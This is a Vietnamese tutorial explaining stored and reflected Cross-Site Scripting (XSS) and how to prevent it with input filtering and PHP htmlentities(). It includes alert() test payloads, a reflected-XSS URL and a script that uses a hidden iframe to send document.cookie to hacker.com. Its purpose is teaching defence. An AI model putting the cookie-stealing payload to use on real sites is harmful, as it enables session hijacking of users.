Tìm hiểu lỗ hỏng Cross-Site Scriping và cách phòng chống
Cross-site Scripting (XSS) là lỗ hổng cho phép hacker có thể chèn những đoạn mã client-script (thường là Javascript hoặc HTML) vào trang web, khi người dùng vào những trên web này, mã độc sẽ được thực thi trên máy của người dùng.
Khác với SQL Injection tấn công vào CSDL của website, XSS tấn công trực tiếp vào người dùng. Lợi dụng lỗi XSS, hacker có thể lừa đảo quản trị của website, ăn cắp cookie, chiếm sesion… từ đó có thể đăng nhập chiếm quyền điều khiển website.
PHÂN LOẠI LỖI XSS
• STORED-XSS
Là lỗi XSS mà đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log. Ví dụ dưới đây minh họa cho Stored-XSS. Ta có một trang web mà người dùng có thể để lại những lời nhắn như sau:
Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau:
Xin <script>alert(“XSS”)</script>chào!
Kết quả:
Ở đây, đoạn mã <script>alert(“XSS”)</script> được chèn vào trong lời nhắn, và ngay lập tức nó được thực thi như hình trên. Vì các lời nhắn được lưu trữ trong database nên bất cứ người dùng nào khi truy cập vào trang web này sẽ thực thi đoạn mã trên. Thay vì một đoạn mã vô hại như trên, hacker có thể thay bằng các đoạn mã nguy hiểm khác nhằm gây hại đến người dùng.
• REFLECTED-XSS:
Khác với Stored-XSS, Reflected-XSS đoạn mã khai thác sẽ không được lưu trữ trên server. Một ví dụ điển hình của Reflected-XSS là kết quả trả về của module search:
Ta thấy từ khóa tìm kiếm mà ta nhập vào ô textbox được hiển thị lại trên trình duyệt. Lợi dụng việc không kiểm soát giá trị này, ta có thể chèn thêm đoạn mã gây hại vào. Đường link sẽ có dạng:
http://tek.eten.vn/xss/reflected/index.php?q=<script>alert(“XSS”)</script>
Tuy nhiên đoạn mã độc hại không được lưu lại trên server nên chỉ khi chạy đường link trên, người dùng mới bị tấn công.
Kịch bản điển hình nhất khi khai thác XSS là hacker chèn đoạn javascript như sau vào website:
1 | <script type= "text/javascript" > |
2 | document.write("<iframe width=0 height=0 |
3 | src=http: //hacker.com/getcookie.php?cookie=", |
4 | document.cookie, ">" ); |
5 | </script> |
Một iframe với kích thước 0×0 được chèn vào trang web và sẽ tự động load trang lấy cookie của hacker tại địa chỉ http://hacker.com/getcookie.php. Khi có được cookie, hacker có thể dễ dàng đăng nhập mà không cần biết mật khẩu của người dùng.
PHÒNG CHỐNG
Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Giống như SQL Injection, bản chất của lỗi XSS là không kiểm soát kỹ dữ liệu nhập đầu vào, vì thế biện pháp hiệu quả nhất là kiểm tra kỹ dữ liệu nhập vào từ người dùng, chặn các từ khóa nguy hiểm, chỉ chấp nhận những dữ liệu hợp lệ.
Một trong những cách khác hay sử dụng mà không cần kiểm soát đầu vào từ người dùng là mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Ví dụ thẻ <script> sẽ được đổi thành <script>, như vậy nó sẽ vẫn được in ra màn hình đúng định dạng mà không hề gây nguy hiểm cho người sử dụng.
1 | include ( "../../connect.php" ); |
2 | $query = "select * from message order by time desc" ; |
3 | $result = mysql_query( $query ); |
4 | $numRow = mysql_num_rows( $result ); |
5 | if ( $numRow != 0){ |
6 | while ( $row = mysql_fetch_array( $result )) |
7 | echo $row [ "content" ]; |
8 | } |
Ta thấy ở đoạn code trên biến $row["content"] được in trực tiếp ra mà không qua xử lý. Trường content được nhập vào từ người dùng nên đoạn code này chắc chắn có lỗi XSS. Để khắc phục ta sẽ mã hóa các ký tự đặc biệt của HTML với hàm htmlentities(). Mã nguồn được chỉnh sửa lại như sau:
1 | echo htmlentities( $row [ "content" ]); |
Phương pháp này cũng có thể áp dụng với các ngôn ngữ Web khác như ASP, JSP,…